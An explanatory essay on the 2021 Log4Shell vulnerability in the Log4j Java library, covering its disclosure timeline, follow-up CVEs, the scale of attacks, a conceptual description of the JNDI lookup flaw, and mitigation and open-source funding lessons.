Log4j: How one library broke the entire internet

Plenty of companies use Log4j to log various things within their Java programs, so hearing of an 0-day exploit was potentially dangerous. A 0-day exploit simply means it is a new exploit that nobody knows about, not even the developers of the project that the exploit is targeting. In this instance, nobody knew about log4shell for multiple years. This is very bad, because in theory, people could have been exploiting this for years without anyone knowing. Log4j vulnerabilities are going to continue to be a problem into the future so it is important to understand how the exploit was found, exploited, and what we can learn from it.

To begin, Log4J has had a convoluted timeline of discovery, with multiple issues creeping up along the way. A rough timeline of events are as follows. On December 10, 2021 there was a public disclosure of this vulnerability and it was given the CVE (Common Vulnerabilities and Exposures) number of CVE-2021-44228. This allows us to track various things like fixes, and descriptions of the bug. This first CVE was credited to Chen Zhaojun of the Alibaba Cloud Security Team. So, how did this vulnerability come to be? On July 17, 2013 Log4j had a feature patch submitted to add JNDI (Java Naming and Directory Interface) lookups, which would allow a user to log something with additional information from a remote server. Cloudflare, an american content delivery network for the internet found that the first attempt of an exploit was discovered on December 1, 2021. (Graham-Cumming) Which was 9-10 days before the public disclosure. This isn’t a big worry though, most researchers talk about their findings so it only makes sense to confirm those findings outside of a lab environment. However, something to worry about is that the FBI issued a press release in which they say, “If you think your organization has been compromised as a result of the Log4j vulnerability, ... report to the FBI. Please include as much information as possible to assist the FBI and CISA in determining prioritization for victim outreach” (FBI). This is very bad if the FBI is telling you to report it to them if you fell victim to log4shell. This is especially important when there are large numbers of exploits. According to University Wire, “After this vulnerability went public, more than 800,000 exploitation attempts were detected in the first 72 hours” (Log4J Vulnerability). Due to the amount of attacks and how quickly it spread around the internet, getting Log4J updated was vital to the safety of networks around the globe. However, one simple fix would not go as planned. On December 14, 2021 a second Log4J vulnerability that had the potential to denial-of-service the server running Log4J was discovered, and a patch for that was released. The new exploit, CVE 2021-45046, allowed hackers to craft malicious data using a JNDI lookup pattern to shut down access to the server, according to the CVE description. (CVE - CVE-2021-44228) Yet, there was one more vulnerability. On December 17, 2021, a third and final vulnerability was disclosed. This time it was an infinite recursion flaw, which means that attackers can craft more malicious input data which would end up causing a recursive lookup of information, resulting in Log4J throwing a StackOverflow Error, and eventually, terminating Log4J preventing any more logs from being logged. Finally, after only a week, all three vulnerabilities were fixed and Log4J can be downloaded without trouble.

Log4Shell has had quite the impact for hackers to exploit it, with hundreds of automated attacks a day. According to Hannah Murphy, a technology writer for the Financial Times focusing on cyber security said, “Hackers including Chinese state-backed groups have launched more than 1.2m attacks on companies globally since [December 14, 2021], according to researchers, through a previously unnoticed vulnerability in a widely used piece of open-source software called Log4J.” (Murphy 1). 1.2 million attacks is a large number, and it seems to be infinitely growing. Over 100 attacks are performed each minute, using automated scanners across the internet, trying any server they can. Nicholas Sciberras, head of engineering at vulnerability scanner Acunetix, said “With this vulnerability, attackers gain almost unlimited power - they can extract sensitive data, upload files to the server, delete data, install ransomware or pivot to other servers, … It was ‘astonishingly easy’ to deploy an attack … [Log4J would] be exploited for months to come” (qtd in. Murphy 2). I’ve even personally been victim to these attacks, although they were not able to compromise my server, I still get daily logs about attackers trying Log4Shell payloads across dozens of my websites. Big companies are also still dealing with this; according to Jeff Seldin who is VOA’s National Security Correspondent, says “In particular, Microsoft said the Iran cyber threat actor known as Phosphorus, known for launching ransomware attacks, has already modified the Log4j vulnerability for use in attacks, while the Chinese group known as Hafnium has also used it for some targeting activities” (Seldin 2). Microsoft is one of the world's biggest technology companies and even they are trying to track down attackers in Iran or China, that is how bad the Log4Shell automated attacks are. According to Robert McMillan, a reporter for the Wall Street Journal, “[Microsoft] also has seen the attack used by ‘access brokers’ -- hackers who break into companies and then sell that access to other criminals who then install ransomware, a kind of code that locks up a victim's files and demands payment for their release” (McMillan 1). Attackers using automated scanners to try and exploit Log4Shell will continue, even long after companies have upgraded their software, however with more companies updating Log4J their attempts will fail.

With how dangerous Log4Shell is, how was it exploited? A Log4Shell attack is fairly simple. To begin, a connection is made to a web server, and in the request a string is sent which ends up being logged by Log4J. This string contains a lookup string. Lookup strings are not bad on their own, they allow for example, to log what file & line something happened on, as well as environment variables like the current users home folder. They have plenty of valid reasons for lookup strings, however, this vulnerability abuses a JNDI lookup. The issue with JNDI lookups is Log4J will blindly trust JNDI lookup strings and ask whatever server mentioned inside the string for information. This is bad because we can get our own JNDI server inside a log message, and Log4J will try to contact that server to see what it should place in the log file. Because of Log4J trying to contact our JNDI server, this string triggers a vulnerability which causes the victim server to download a small program from the attacker, and then it is run, allowing the attackers to download additional software, deploy malware, or even just delete files. Of course, this depends on what the attacker wants to do with the server they compromise. Log4J’s JNDI lookup feature was the target for this exploit.

How can we mitigate this? Software will always have vulnerabilities, so it is important to understand each and every piece of software you run on a daily basis. With Java applications it is a bit tricky as things like Log4J can be deep inside the code base and unlike something like npm (Node Package Manager) where you can easily see every version of packages installed, Java applications require you to use scanners to see what software you are running behind the scenes. In an article published by University Wire, Celerium (a cyber defense company) said, “Early testers of Celerium's Log4j Global Coverage site rated ‘finding Log4j’ as extremely difficult, given that the vulnerability can be embedded so deeply within systems – an issue related to the software supply chain and open-source software” (Celerium 1). With this in mind, what can be done if Log4J is difficult to update? Express Computer, one of India’s most respected IT media brands suggested doing the following: Update your Web Application Firewalls and other first line of defense devices immediately to help stop Log4j attacks. Update all systems. Any exposed IP address is currently being bombarded with Log4Shell connection attempts, so it is important to update absolutely everything on your networks. They truly mean everything, every server, printer, and anything else that will accept an inbound connection. They also state to contact the vendor of devices to check on updates for Log4j. Java is popular across many different types of devices, so it is important to make sure they have issued a patch for Log4J. Additionally, using a traffic analyzer to monitor your network activity is another good idea. Look for unexpected connections and consider blocking certain parts of the world from your servers to minimize risk. Lastly, Update Log4j to at least version 2.17.0 (Express Computer). After everything is updated, you should take additional measures and audit your network, seeing if any devices can come offline to reduce the risk of future attacks.

With Log4J’s dangerous vulnerability, what can we learn from this? Software will always have vulnerabilities, for example, a Java framework Spring had a vulnerability in March of 2022 which also allowed remote code execution, similar to the Log4Shell vulnerability discussed. Exploits will always be found, and it will be a race between the developers and hackers to fix vulnerabilities before they are badly exploited. Both Log4J and Spring are free and open source software, meaning anyone can download and work on the projects and submit fixes. However, the big companies that use these resources rarely contribute back to them. One potential solution to this problem is to have large companies either pay the open source developers, or directly submit code to the projects they use on a daily basis. This would prevent exploits like these from happening in the future as either more people would be directly working on the code, or the volunteers would be getting paid for their work, potentially leading to higher quality work, and less bugs.

In Conclusion, Log4J has been a big problem in the Cyber Security community for months now, causing numerous issues. Companies that use the software raced to put out fixes before exploits were made public, however it still took multiple patches to completely fix everything that log4shell caused. Even with fixes in place, attackers will still try and exploit everything they can to potentially break into computer systems so it is important for the Cyber Security community to remain vigilant and properly alert companies when issues arise like log4shell, or Spring4Shell, which can also lead to remote code execution.